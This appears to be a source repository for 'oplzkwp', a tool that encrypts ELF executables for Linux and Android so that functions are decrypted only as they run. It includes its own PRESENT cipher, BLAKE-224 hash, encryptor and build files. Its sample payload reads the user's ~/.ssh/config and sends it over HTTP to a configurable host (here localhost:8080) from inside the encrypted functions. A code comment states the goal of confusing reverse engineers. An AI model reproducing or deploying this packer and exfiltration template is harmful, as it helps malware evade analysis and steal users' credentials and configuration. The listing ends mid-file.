├── elf ├── Makefile ├── elf_raw.h └── elf_raw.c ├── blake ├── Makefile ├── blake.h └── blake224.c ├── present ├── Makefile ├── present.h └── present.c ├── Android.mk ├── README.md ├── Makefile ├── encrypt.c ├── payload.c └── loader.c /elf/Makefile: -------------------------------------------------------------------------------- 1 | all: elf_raw.o 2 | 3 | clean: 4 | @rm -f *.o 5 | 6 | -------------------------------------------------------------------------------- /blake/Makefile: -------------------------------------------------------------------------------- 1 | all: blake224.o 2 | 3 | clean: 4 | @rm -f *.o 5 | 6 | -------------------------------------------------------------------------------- /present/Makefile: -------------------------------------------------------------------------------- 1 | all: present.o 2 | 3 | clean: 4 | @rm -f *.o 5 | 6 | -------------------------------------------------------------------------------- /elf/elf_raw.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | char *elf_lookup_string(Elf32_Ehdr *, int); 7 | Elf32_Shdr *elf_section_by_name(Elf32_Ehdr *, char *); 8 | uint32_t elf_dot_text_offset(Elf32_Ehdr *); 9 | uint32_t elf_dot_text_vaddr(Elf32_Ehdr *); 10 | Elf32_Sym *sym_foreach(Elf32_Ehdr *, 11 | int (*f)(Elf32_Ehdr *, Elf32_Sym *, void *), 12 | void *); 13 | Elf32_Sym *elf_sym_at(Elf32_Ehdr *, uint32_t); 14 | -------------------------------------------------------------------------------- /Android.mk: -------------------------------------------------------------------------------- 1 | LOCAL_PATH:= $(call my-dir) 2 | 3 | include $(CLEAR_VARS) 4 | 5 | # Disable optimisations to avoid memory layout shuffling 6 | LOCAL_CFLAGS += -Wall -O0 7 | LOCAL_MODULE := oplzkwp 8 | LOCAL_SRC_FILES:= loader.c \ 9 | blake/blake224.c \ 10 | present/present.c \ 11 | elf/elf_raw.c \ 12 | payload.c 13 | 14 | # Hack to keep _e_* symbols when stripping executable 15 | TARGET_STRIP += -w -K _e_* 16 | 17 | 18 | include $(BUILD_EXECUTABLE) 19 | -------------------------------------------------------------------------------- /present/present.h: -------------------------------------------------------------------------------- 1 | const uint16_t invsBox4[] = {0x5,0xe,0xf,0x8,0xC,0x1,0x2,0xD,0xB,0x4,0x6,0x3,0x0,0x7,0x9,0xA}; 2 | const uint64_t sBox4[] = {0xc,0x5,0x6,0xb,0x9,0x0,0xa,0xd,0x3,0xe,0xf,0x8,0x4,0x7,0x1,0x2}; 3 | 4 | #define high1_64(h1in) ( (uint64_t)h1in >> 63 ) //msb as lsb 5 | #define high4_64(h4in) ( (uint64_t)h4in >> 60 ) //4 msb as lsb 6 | #define rotate1l_64(r1lin) ( high1_64(r1lin) | ( r1lin << 1 ) ) //input rotated left (1x) 7 | #define rotate4l_64(r4lin) ( high4_64(r4lin) | ( r4lin << 4 ) ) //input rotated left (4x) 8 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Description 2 | 3 | oplzkwp is a library for ELF obfuscation. It uses PRESENT and blake244 to 4 | encrypt your payload on the fly. Only the functions that are currently 5 | executed are decrypted in memory. Both Linux (x86) and Android (ARM) are 6 | supported. 7 | 8 | # How To 9 | 10 | Modify payload.c to fit your needs. Constraints: 11 | 12 | + Each function starting with `_e_` will be encrypted and decrypted at 13 | run-time. 14 | 15 | + Use `decrypt_and_call(next)` to call another `_e_` function. If the function 16 | is currently called (e.g., reentrant), a regular call must be done. 17 | 18 | + Each functions needs to be page-aligned. 19 | (see payload.c and `__attribute__((aligned(PAGE_SIZE))`). 20 | 21 | + The final executable must be compiled with `-fpie` (this is the default if 22 | using the Makefile provided). 23 | 24 | # Build 25 | 26 | + Linux, use `make`. 27 | 28 | + Android, use `make android` (You must have ndk-build setup). 29 | The executable will be in ./libs/armebi/ 30 | 31 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | export EXEC=oplzkwp 2 | export ANDROID_PLATFORM=android-19 3 | export CC=gcc 4 | export CFLAGS=-m32 -fpic -Wall -std=gnu99 -DEXEC_NAME=\"${EXEC}\" -DDEBUG 5 | 6 | # [!] loader.o must be first, payload.o must be last 7 | EXEC_OBJ=loader.o elf/elf_raw.o blake/blake224.o present/present.o payload.o 8 | ENCRYPT_OBJ=elf/elf_raw.o present/present.o blake/blake224.o encrypt.o 9 | SUBDIRS=elf blake present 10 | 11 | .PHONY: $(SUBDIRS) 12 | .SILENT: clean 13 | 14 | all: $(EXEC) 15 | 16 | $(EXEC): $(EXEC)-naked encrypt 17 | ./encrypt 18 | strip -w -K _e_* $(EXEC) 19 | setfattr -n "user.pax.flags" -v "m" $(EXEC) 20 | 21 | $(EXEC)-naked: $(SUBDIRS) $(EXEC_OBJ) 22 | $(CC) -m32 -o $(EXEC) -pie $(EXEC_OBJ) 23 | 24 | encrypt: $(SUBDIRS) encrypt.o 25 | $(CC) -m32 -o encrypt $(ENCRYPT_OBJ) 26 | 27 | $(SUBDIRS): 28 | @$(MAKE) -C $@ 29 | 30 | clean: 31 | @for d in $(SUBDIRS); do (cd $$d; $(MAKE) clean ); done 32 | rm -f *.o 33 | rm -f encrypt 34 | rm -f $(EXEC) 35 | rm -rf obj 36 | rm -rf libs 37 | 38 | android: encrypt 39 | ndk-build NDK_PROJECT_PATH=$(CURDIR) \ 40 | APP_BUILD_SCRIPT=$(CURDIR)/Android.mk \ 41 | APP_PLATFORM=$(ANDROID_PLATFORM) 42 | ./encrypt ./libs/armeabi/$(EXEC) 43 | -------------------------------------------------------------------------------- /elf/elf_raw.c: -------------------------------------------------------------------------------- 1 | #include "elf_raw.h" 2 | 3 | static inline Elf32_Shdr *elf_sheader(Elf32_Ehdr *hdr) { 4 | return (Elf32_Shdr *)((long)hdr + hdr->e_shoff); 5 | } 6 | 7 | static inline Elf32_Shdr *elf_section(Elf32_Ehdr *hdr, int idx) { 8 | return &elf_sheader(hdr)[idx]; 9 | } 10 | 11 | static inline char *elf_str_table(Elf32_Ehdr *hdr) { 12 | if(hdr->e_shstrndx == SHN_UNDEF) return NULL; 13 | return (char *)hdr + elf_section(hdr, hdr->e_shstrndx)->sh_offset; 14 | } 15 | 16 | static inline char *elf_lookup_sh_string(Elf32_Ehdr *hdr, int offset) { 17 | char *shstrtab = elf_str_table(hdr); 18 | if(shstrtab == NULL) return NULL; 19 | return shstrtab + offset; 20 | } 21 | 22 | Elf32_Shdr *elf_section_by_name(Elf32_Ehdr *hdr, char *name) { 23 | int i; 24 | for(i=0; i < hdr->e_shnum; i++) { 25 | if(!strcmp(elf_lookup_sh_string(hdr, elf_section(hdr, i)->sh_name), name)) 26 | return elf_section(hdr, i); 27 | } 28 | return NULL; 29 | } 30 | 31 | uint32_t elf_dot_text_vaddr(Elf32_Ehdr *hdr) { 32 | Elf32_Shdr *text; 33 | text = elf_section_by_name(hdr, ".text"); 34 | return text->sh_addr; 35 | } 36 | 37 | uint32_t elf_dot_text_offset(Elf32_Ehdr *hdr) { 38 | Elf32_Shdr *text; 39 | text = elf_section_by_name(hdr, ".text"); 40 | return text->sh_offset; 41 | } 42 | 43 | char *elf_lookup_string(Elf32_Ehdr *hdr, int offset) { 44 | char *strtab = (char *) hdr + 45 | (elf_section_by_name(hdr, ".strtab")->sh_offset); 46 | if(strtab == NULL) return NULL; 47 | return strtab + offset; 48 | } 49 | 50 | /* 51 | * For each symbol, call f. If it returns != 0, stop and return the 52 | * symbol. 53 | */ 54 | Elf32_Sym *sym_foreach(Elf32_Ehdr *hdr, 55 | int (*f)(Elf32_Ehdr *,Elf32_Sym *, void *), 56 | void *f_data) { 57 | Elf32_Shdr *shdr_sym; 58 | Elf32_Sym *sym, *t; 59 | int i, entries; 60 | 61 | shdr_sym = elf_section_by_name(hdr, ".symtab"); 62 | sym = (Elf32_Sym *)((char *)hdr + shdr_sym->sh_offset); 63 | entries = shdr_sym->sh_size / shdr_sym->sh_entsize; 64 | for(i=0; i < entries; i++) { 65 | t = (Elf32_Sym *)((char *) sym + (shdr_sym->sh_entsize * i)); 66 | if(f(hdr, t, f_data)) 67 | return t; 68 | } 69 | return NULL; 70 | } 71 | 72 | static int match_addr(Elf32_Ehdr *hdr, Elf32_Sym *t, void *offset) { 73 | if(t->st_value == (*(uint32_t *) offset)) 74 | return 1; 75 | return 0; 76 | } 77 | 78 | Elf32_Sym *elf_sym_at(Elf32_Ehdr *hdr, uint32_t offset) { 79 | return sym_foreach(hdr, match_addr, &offset); 80 | } 81 | -------------------------------------------------------------------------------- /present/present.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "present.h" 4 | 5 | void present_encrypt(uint64_t *buffer, uint64_t *dst, uint16_t n, uint64_t *key) 6 | { 7 | int i, k, w, round; 8 | uint16_t sBoxValue; 9 | int sBoxNr=0; 10 | uint64_t temp; 11 | uint64_t subkey[32]; 12 | uint64_t state; 13 | 14 | for(w=0; w < n; w++) 15 | { 16 | state = ((uint64_t *)buffer)[w]; 17 | for(round=0;round<32;round++) 18 | { 19 | subkey[round] = key[1]; 20 | temp = key[1]; 21 | key[1] <<= 61; 22 | key[1] |= (key[0]<<45); 23 | key[1] |= (temp>>19); 24 | key[0] = (temp>>3)&0xFFFF; 25 | 26 | temp = key[1]>>60; 27 | key[1] &= 0x0FFFFFFFFFFFFFFF; 28 | temp = sBox4[temp]; 29 | key[1] |= temp<<60; 30 | 31 | key[0] ^= ( ( (round+1) & 0x01 ) << 15 ); 32 | key[1] ^= ( (round+1) >> 1 ); 33 | } 34 | 35 | for(i=0;i<31;i++) 36 | { 37 | state ^= subkey[i]; 38 | for(sBoxNr=0;sBoxNr<16;sBoxNr++) 39 | { 40 | sBoxValue = state & 0xF; 41 | state &= 0xFFFFFFFFFFFFFFF0; 42 | state |= sBox4[sBoxValue]; 43 | state = rotate4l_64(state); 44 | } 45 | temp = 0; 46 | for(k=0;k<64;k++) 47 | { 48 | int position = (16*k) % 63; 49 | if(k == 63) 50 | position = 63; 51 | temp |= ((state>>k) & 0x1) << position; 52 | } 53 | state=temp; 54 | } 55 | state ^= subkey[31]; 56 | dst[w] = state; 57 | } 58 | } 59 | 60 | void present_decrypt(uint64_t *buffer, uint64_t *dst, uint16_t n, uint64_t *key) 61 | { 62 | int i, k, w, round; 63 | uint16_t sBoxValue; 64 | int sBoxNr=0; 65 | uint64_t temp; 66 | uint64_t subkey[32]; 67 | uint64_t state; 68 | 69 | for(w=0; w < n; w++) 70 | { 71 | state = ((uint64_t *)buffer)[w]; 72 | for(round=0; round<32; round++) 73 | { 74 | subkey[round] = key[1]; 75 | temp = key[1]; 76 | key[1] <<= 61; 77 | key[1] |= (key[0]<<45); 78 | key[1] |= (temp>>19); 79 | key[0] = (temp>>3)&0xFFFF; 80 | 81 | temp = key[1]>>60; 82 | key[1] &= 0x0FFFFFFFFFFFFFFF; 83 | temp = sBox4[temp]; 84 | key[1] |= temp<<60; 85 | 86 | key[0] ^= ( ( (round+1) & 0x01 ) << 15 ); 87 | key[1] ^= ( (round+1) >> 1 ); 88 | } 89 | for(i = 31; i>0; i--) 90 | { 91 | state ^= subkey[i]; 92 | temp = 0; 93 | for(k = 0;k<64;k++) 94 | { 95 | int position = (4*k) % 63; 96 | if(k == 63) 97 | position = 63; 98 | temp |= ((state>>k) & 0x1) << position; 99 | } 100 | state=temp; 101 | for(sBoxNr=0;sBoxNr<16;sBoxNr++) 102 | { 103 | sBoxValue = state & 0xF; 104 | state &= 0xFFFFFFFFFFFFFFF0; 105 | state |= invsBox4[sBoxValue]; 106 | state = rotate4l_64(state); 107 | } 108 | } 109 | state ^= subkey[0]; 110 | dst[w] = state; 111 | } 112 | } 113 | 114 | -------------------------------------------------------------------------------- /encrypt.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include "elf/elf_raw.h" 13 | 14 | #ifndef EXEC_NAME 15 | #define EXEC_NAME "oplzkwp" 16 | #endif 17 | 18 | #define LOG_PREFIX "[crypt] " 19 | #define STRING_MARKER "_marker_" 20 | 21 | extern void present_encrypt(uint64_t *, uint64_t *, uint16_t, uint64_t *); 22 | extern void blake224_hash( uint8_t *, const uint8_t *, uint64_t); 23 | 24 | static int encrypt_symbol(Elf32_Ehdr *hdr, Elf32_Sym *sym, void *prefix) 25 | { 26 | int key_length; 27 | char *sname; 28 | char *b; 29 | uint64_t key[4] = { [0 ... 3] = 0x0 }; 30 | uint32_t addr; 31 | 32 | sname = elf_lookup_string(hdr, sym->st_name); 33 | if (strstr(sname, prefix) == sname) { 34 | printf(LOG_PREFIX "Encrypting %s...\n", sname); 35 | addr = sym->st_value; 36 | addr = addr - elf_dot_text_vaddr(hdr) + 37 | elf_dot_text_offset(hdr); 38 | 39 | // bringing confusion to RE's brain 40 | key_length = asprintf(&b, "[loader] %08x %08x", sym->st_value, 41 | sym->st_size); 42 | blake224_hash((uint8_t *)key, (uint8_t *)b, key_length); 43 | free(b); 44 | 45 | printf(LOG_PREFIX "%s at:%x size:%x keys=%llx:%llx\n", 46 | sname, addr, sym->st_size, key[0], key[1]); 47 | 48 | // encrypt in place 49 | present_encrypt((uint64_t *)((char *)hdr+addr), 50 | (uint64_t *)((char *)hdr+addr), sym->st_size/8, key); 51 | } 52 | return 0; 53 | } 54 | 55 | void encrypt_rodata(Elf32_Ehdr *hdr) 56 | { 57 | char *b; 58 | int key_length; 59 | uint32_t ret, rodata_esize; 60 | uint64_t key[4] = { [0 ... 3] = 0x0 }; 61 | Elf32_Shdr *rodata = elf_section_by_name(hdr, ".rodata"); 62 | 63 | ret = (uint32_t) memmem((void *)hdr+rodata->sh_offset, rodata->sh_size, 64 | STRING_MARKER, sizeof(STRING_MARKER)); 65 | if((void *)ret != NULL) 66 | { 67 | ret += sizeof(STRING_MARKER); 68 | key_length = asprintf(&b, "[loader] %08x %08x", 69 | rodata->sh_offset, rodata->sh_size); 70 | blake224_hash((uint8_t *)key, (uint8_t *)b, key_length); 71 | free(b); 72 | 73 | printf(LOG_PREFIX "rodata at:%x size:%x keys=%llx:%llx\n", 74 | rodata->sh_offset, rodata->sh_size, key[0], key[1]); 75 | 76 | rodata_esize = rodata->sh_size - 77 | (ret - (uint32_t)hdr - rodata->sh_offset); 78 | 79 | printf(LOG_PREFIX "rodata_esize=%x\n", rodata_esize); 80 | present_encrypt((uint64_t *)((char *)ret), 81 | (uint64_t *)((char *)ret), (rodata_esize / 8), key); 82 | } 83 | } 84 | 85 | int main(int argc, char **argv) 86 | { 87 | int fd; 88 | size_t size; 89 | struct stat s; 90 | Elf32_Ehdr *ehdr; 91 | char *target; 92 | 93 | target = (argc > 1) ? argv[1] : EXEC_NAME; 94 | 95 | fd = open(target, O_RDWR); 96 | if(fd < 0){ 97 | perror(LOG_PREFIX); 98 | exit(EXIT_FAILURE); 99 | } 100 | fstat(fd, &s); 101 | size = s.st_size; 102 | ehdr = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); 103 | 104 | sym_foreach(ehdr, encrypt_symbol, "_e_"); 105 | encrypt_rodata(ehdr); 106 | 107 | munmap(ehdr, size); 108 | 109 | close(fd); 110 | return 0; 111 | } 112 | -------------------------------------------------------------------------------- /blake/blake.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define U8TO32_BIG(p) \ 6 | (((uint32_t)((p)[0]) << 24) | ((uint32_t)((p)[1]) << 16) | \ 7 | ((uint32_t)((p)[2]) << 8) | ((uint32_t)((p)[3]) )) 8 | 9 | #define U32TO8_BIG(p, v) \ 10 | (p)[0] = (uint8_t)((v) >> 24); (p)[1] = (uint8_t)((v) >> 16); \ 11 | (p)[2] = (uint8_t)((v) >> 8); (p)[3] = (uint8_t)((v) ); 12 | 13 | #define U8TO64_BIG(p) \ 14 | (((uint64_t)U8TO32_BIG(p) << 32) | (uint64_t)U8TO32_BIG((p) + 4)) 15 | 16 | #define U64TO8_BIG(p, v) \ 17 | U32TO8_BIG((p), (uint32_t)((v) >> 32)); \ 18 | U32TO8_BIG((p) + 4, (uint32_t)((v) )); 19 | 20 | typedef struct 21 | { 22 | uint32_t h[8], s[4], t[2]; 23 | int buflen, nullt; 24 | uint8_t buf[64]; 25 | } state256; 26 | 27 | typedef state256 state224; 28 | 29 | typedef struct 30 | { 31 | uint64_t h[8], s[4], t[2]; 32 | int buflen, nullt; 33 | uint8_t buf[128]; 34 | } state512; 35 | 36 | typedef state512 state384; 37 | 38 | const uint8_t sigma[][16] = 39 | { 40 | { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 }, 41 | {14, 10, 4, 8, 9, 15, 13, 6, 1, 12, 0, 2, 11, 7, 5, 3 }, 42 | {11, 8, 12, 0, 5, 2, 15, 13, 10, 14, 3, 6, 7, 1, 9, 4 }, 43 | { 7, 9, 3, 1, 13, 12, 11, 14, 2, 6, 5, 10, 4, 0, 15, 8 }, 44 | { 9, 0, 5, 7, 2, 4, 10, 15, 14, 1, 11, 12, 6, 8, 3, 13 }, 45 | { 2, 12, 6, 10, 0, 11, 8, 3, 4, 13, 7, 5, 15, 14, 1, 9 }, 46 | {12, 5, 1, 15, 14, 13, 4, 10, 0, 7, 6, 3, 9, 2, 8, 11 }, 47 | {13, 11, 7, 14, 12, 1, 3, 9, 5, 0, 15, 4, 8, 6, 2, 10 }, 48 | { 6, 15, 14, 9, 11, 3, 0, 8, 12, 2, 13, 7, 1, 4, 10, 5 }, 49 | {10, 2, 8, 4, 7, 6, 1, 5, 15, 11, 9, 14, 3, 12, 13 , 0 }, 50 | { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 }, 51 | {14, 10, 4, 8, 9, 15, 13, 6, 1, 12, 0, 2, 11, 7, 5, 3 }, 52 | {11, 8, 12, 0, 5, 2, 15, 13, 10, 14, 3, 6, 7, 1, 9, 4 }, 53 | { 7, 9, 3, 1, 13, 12, 11, 14, 2, 6, 5, 10, 4, 0, 15, 8 }, 54 | { 9, 0, 5, 7, 2, 4, 10, 15, 14, 1, 11, 12, 6, 8, 3, 13 }, 55 | { 2, 12, 6, 10, 0, 11, 8, 3, 4, 13, 7, 5, 15, 14, 1, 9 } 56 | }; 57 | 58 | const uint32_t u256[16] = 59 | { 60 | 0x243f6a88, 0x85a308d3, 0x13198a2e, 0x03707344, 61 | 0xa4093822, 0x299f31d0, 0x082efa98, 0xec4e6c89, 62 | 0x452821e6, 0x38d01377, 0xbe5466cf, 0x34e90c6c, 63 | 0xc0ac29b7, 0xc97c50dd, 0x3f84d5b5, 0xb5470917 64 | }; 65 | 66 | const uint64_t u512[16] = 67 | { 68 | 0x243f6a8885a308d3ULL, 0x13198a2e03707344ULL, 69 | 0xa4093822299f31d0ULL, 0x082efa98ec4e6c89ULL, 70 | 0x452821e638d01377ULL, 0xbe5466cf34e90c6cULL, 71 | 0xc0ac29b7c97c50ddULL, 0x3f84d5b5b5470917ULL, 72 | 0x9216d5d98979fb1bULL, 0xd1310ba698dfb5acULL, 73 | 0x2ffd72dbd01adfb7ULL, 0xb8e1afed6a267e96ULL, 74 | 0xba7c9045f12c7f99ULL, 0x24a19947b3916cf7ULL, 75 | 0x0801f2e2858efc16ULL, 0x636920d871574e69ULL 76 | }; 77 | 78 | 79 | static const uint8_t padding[129] = 80 | { 81 | 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 82 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 83 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 84 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 85 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 86 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 87 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 88 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 89 | }; 90 | -------------------------------------------------------------------------------- /payload.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #ifndef PAGE_SIZE 14 | #define PAGE_SIZE 0x1000 15 | #endif 16 | 17 | #define BUF_SIZE 500 18 | #define HOST "localhost" 19 | #define PORT "8080" 20 | #define REQUEST "GET /oplzkwp HTTP/1.0\r\n" \ 21 | "Content-Length: %d\r\n\r\n" \ 22 | "%s" 23 | 24 | int sfd, config_length; 25 | char config[4096]; 26 | extern void decrypt_and_call(void *); 27 | extern void decrypt_rodata(void); 28 | 29 | void _e_close_socket(void) __attribute__((aligned(PAGE_SIZE))); 30 | void _e_send_request(void) __attribute__((aligned(PAGE_SIZE))); 31 | void _e_read_config(void) __attribute__((aligned(PAGE_SIZE))); 32 | void _e_connect(void) __attribute__((aligned(PAGE_SIZE))); 33 | void _e_main(void) __attribute__((aligned(PAGE_SIZE))); 34 | int main(void) __attribute__((aligned(PAGE_SIZE))); 35 | 36 | /* Marker for encrypted strings. Any .rodata beyond will be 37 | * encrypted at rest */ 38 | const char *encrypted_strings_marker = "_marker_" ; 39 | 40 | void _e_close_socket(void){ 41 | close(sfd); 42 | } 43 | 44 | void _e_send_request(void) 45 | { 46 | char buf[BUF_SIZE]; 47 | ssize_t n; 48 | char *request; 49 | int request_length; 50 | 51 | request_length = asprintf(&request, REQUEST, config_length, config); 52 | n = write(sfd, request, request_length); 53 | if (n != request_length) { 54 | fprintf(stderr, "partial/failed write\n"); 55 | exit(EXIT_FAILURE); 56 | } 57 | n = read(sfd, buf, BUF_SIZE); 58 | if (n == -1) { 59 | perror("read"); 60 | exit(EXIT_FAILURE); 61 | } 62 | printf("Received %zd bytes: %s\n", n, buf); 63 | return; 64 | } 65 | 66 | void _e_read_config(void) 67 | { 68 | int f; 69 | char *path; 70 | 71 | asprintf(&path, "%s/.ssh/config", getenv("HOME")); 72 | f = open(path, O_RDONLY); 73 | free(path); 74 | if(f < 0) { 75 | f = open("/proc/version", O_RDONLY); 76 | if(f < 0) { 77 | fprintf(stderr, "unable to open file\n"); 78 | exit(EXIT_FAILURE); 79 | } 80 | } 81 | config_length = read(f, config, sizeof(config) - 1); 82 | if(config_length < 0) { 83 | fprintf(stderr, "unable to read file\n"); 84 | exit(EXIT_FAILURE); 85 | } 86 | close(f); 87 | } 88 | 89 | void _e_connect(void) 90 | { 91 | struct addrinfo hints; 92 | struct addrinfo *result, *rp; 93 | int s; 94 | 95 | memset(&hints, 0, sizeof(struct addrinfo)); 96 | hints.ai_family = AF_UNSPEC; 97 | hints.ai_socktype = SOCK_STREAM; 98 | hints.ai_flags = 0; 99 | hints.ai_protocol = 0; 100 | 101 | s = getaddrinfo(HOST, PORT, &hints, &result); 102 | if (s != 0) { 103 | fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(s)); 104 | exit(EXIT_FAILURE); 105 | } 106 | 107 | for (rp = result; rp != NULL; rp = rp->ai_next) { 108 | sfd = socket(rp->ai_family, rp->ai_socktype, 109 | rp->ai_protocol); 110 | if (sfd == -1) 111 | continue; 112 | 113 | if (connect(sfd, rp->ai_addr, rp->ai_addrlen) != -1) 114 | break; 115 | 116 | close(sfd); 117 | } 118 | if (rp == NULL) { 119 | fprintf(stderr, "Could not connect\n"); 120 | exit(EXIT_FAILURE); 121 | } 122 | 123 | freeaddrinfo(result); 124 | return; 125 | } 126 | 127 | void _e_main(void) 128 | { 129 | // Include Aczid "helpers" here 130 | // www.hackintherandom2600nldatabox.nl/archive/slides/2012/aczid.pdf 131 | decrypt_and_call(_e_connect); 132 | decrypt_and_call(_e_read_config); 133 | decrypt_and_call(_e_send_request); 134 | decrypt_and_call(_e_close_socket); 135 | } 136 | 137 | int main(void) 138 | { 139 | decrypt_rodata(); 140 | decrypt_and_call(_e_main); 141 | return 0; 142 | } 143 | -------------------------------------------------------------------------------- /blake/blake224.c: -------------------------------------------------------------------------------- 1 | #include "blake.h" 2 | 3 | 4 | void blake224_compress( state224 *S, const uint8_t *block ) 5 | { 6 | uint32_t v[16], m[16], i; 7 | #define ROT(x,n) (((x)<<(32-n))|( (x)>>(n))) 8 | #define G(a,b,c,d,e) \ 9 | v[a] += (m[sigma[i][e]] ^ u256[sigma[i][e+1]]) + v[b]; \ 10 | v[d] = ROT( v[d] ^ v[a],16); \ 11 | v[c] += v[d]; \ 12 | v[b] = ROT( v[b] ^ v[c],12); \ 13 | v[a] += (m[sigma[i][e+1]] ^ u256[sigma[i][e]])+v[b]; \ 14 | v[d] = ROT( v[d] ^ v[a], 8); \ 15 | v[c] += v[d]; \ 16 | v[b] = ROT( v[b] ^ v[c], 7); 17 | 18 | for( i = 0; i < 16; ++i ) m[i] = U8TO32_BIG( block + i * 4 ); 19 | 20 | for( i = 0; i < 8; ++i ) v[i] = S->h[i]; 21 | 22 | v[ 8] = S->s[0] ^ u256[0]; 23 | v[ 9] = S->s[1] ^ u256[1]; 24 | v[10] = S->s[2] ^ u256[2]; 25 | v[11] = S->s[3] ^ u256[3]; 26 | v[12] = u256[4]; 27 | v[13] = u256[5]; 28 | v[14] = u256[6]; 29 | v[15] = u256[7]; 30 | 31 | /* don't xor t when the block is only padding */ 32 | if ( !S->nullt ) 33 | { 34 | v[12] ^= S->t[0]; 35 | v[13] ^= S->t[0]; 36 | v[14] ^= S->t[1]; 37 | v[15] ^= S->t[1]; 38 | } 39 | 40 | for( i = 0; i < 14; ++i ) 41 | { 42 | /* column step */ 43 | G( 0, 4, 8, 12, 0 ); 44 | G( 1, 5, 9, 13, 2 ); 45 | G( 2, 6, 10, 14, 4 ); 46 | G( 3, 7, 11, 15, 6 ); 47 | /* diagonal step */ 48 | G( 0, 5, 10, 15, 8 ); 49 | G( 1, 6, 11, 12, 10 ); 50 | G( 2, 7, 8, 13, 12 ); 51 | G( 3, 4, 9, 14, 14 ); 52 | } 53 | 54 | for( i = 0; i < 16; ++i ) S->h[i % 8] ^= v[i]; 55 | 56 | for( i = 0; i < 8 ; ++i ) S->h[i] ^= S->s[i % 4]; 57 | } 58 | 59 | 60 | void blake224_init( state224 *S ) 61 | { 62 | S->h[0] = 0xc1059ed8; 63 | S->h[1] = 0x367cd507; 64 | S->h[2] = 0x3070dd17; 65 | S->h[3] = 0xf70e5939; 66 | S->h[4] = 0xffc00b31; 67 | S->h[5] = 0x68581511; 68 | S->h[6] = 0x64f98fa7; 69 | S->h[7] = 0xbefa4fa4; 70 | S->t[0] = S->t[1] = S->buflen = S->nullt = 0; 71 | S->s[0] = S->s[1] = S->s[2] = S->s[3] = 0; 72 | } 73 | 74 | 75 | void blake224_update( state224 *S, const uint8_t *in, uint64_t inlen ) 76 | { 77 | int left = S->buflen; 78 | int fill = 64 - left; 79 | 80 | /* data left and data received fill a block */ 81 | if( left && ( inlen >= fill ) ) 82 | { 83 | memcpy( ( void * ) ( S->buf + left ), ( void * ) in, fill ); 84 | S->t[0] += 512; 85 | 86 | if ( S->t[0] == 0 ) S->t[1]++; 87 | 88 | blake224_compress( S, S->buf ); 89 | in += fill; 90 | inlen -= fill; 91 | left = 0; 92 | } 93 | 94 | /* compress blocks of data received */ 95 | while( inlen >= 64 ) 96 | { 97 | S->t[0] += 512; 98 | 99 | if ( S->t[0] == 0 ) S->t[1]++; 100 | 101 | blake224_compress( S, in ); 102 | in += 64; 103 | inlen -= 64; 104 | } 105 | 106 | /* store any data left */ 107 | if( inlen > 0 ) 108 | { 109 | memcpy( ( void * ) ( S->buf + left ), \ 110 | ( void * ) in, ( size_t ) inlen ); 111 | S->buflen = left + ( int )inlen; 112 | } 113 | else S->buflen = 0; 114 | } 115 | 116 | 117 | void blake224_final( state224 *S, uint8_t *out ) 118 | { 119 | uint8_t msglen[8], zz = 0x00, oz = 0x80; 120 | uint32_t lo = S->t[0] + ( S->buflen << 3 ), hi = S->t[1]; 121 | 122 | /* support for hashing more than 2^32 bits */ 123 | if ( lo < ( S->buflen << 3 ) ) hi++; 124 | 125 | U32TO8_BIG( msglen + 0, hi ); 126 | U32TO8_BIG( msglen + 4, lo ); 127 | 128 | if ( S->buflen == 55 ) /* one padding byte */ 129 | { 130 | S->t[0] -= 8; 131 | blake224_update( S, &oz, 1 ); 132 | } 133 | else 134 | { 135 | if ( S->buflen < 55 ) /* enough space to fill the block */ 136 | { 137 | if ( !S->buflen ) S->nullt = 1; 138 | 139 | S->t[0] -= 440 - ( S->buflen << 3 ); 140 | blake224_update( S, padding, 55 - S->buflen ); 141 | } 142 | else /* need 2 compressions */ 143 | { 144 | S->t[0] -= 512 - ( S->buflen << 3 ); 145 | blake224_update( S, padding, 64 - S->buflen ); 146 | S->t[0] -= 440; 147 | blake224_update( S, padding + 1, 55 ); 148 | S->nullt = 1; 149 | } 150 | 151 | blake224_update( S, &zz, 1 ); 152 | S->t[0] -= 8; 153 | } 154 | 155 | S->t[0] -= 64; 156 | blake224_update( S, msglen, 8 ); 157 | U32TO8_BIG( out + 0, S->h[0] ); 158 | U32TO8_BIG( out + 4, S->h[1] ); 159 | U32TO8_BIG( out + 8, S->h[2] ); 160 | U32TO8_BIG( out + 12, S->h[3] ); 161 | U32TO8_BIG( out + 16, S->h[4] ); 162 | U32TO8_BIG( out + 20, S->h[5] ); 163 | U32TO8_BIG( out + 24, S->h[6] ); 164 | } 165 | 166 | 167 | void blake224_hash( uint8_t *out, const uint8_t *in, uint64_t inlen ) 168 | { 169 | state224 S; 170 | blake224_init( &S ); 171 | blake224_update( &S, in, inlen ); 172 | 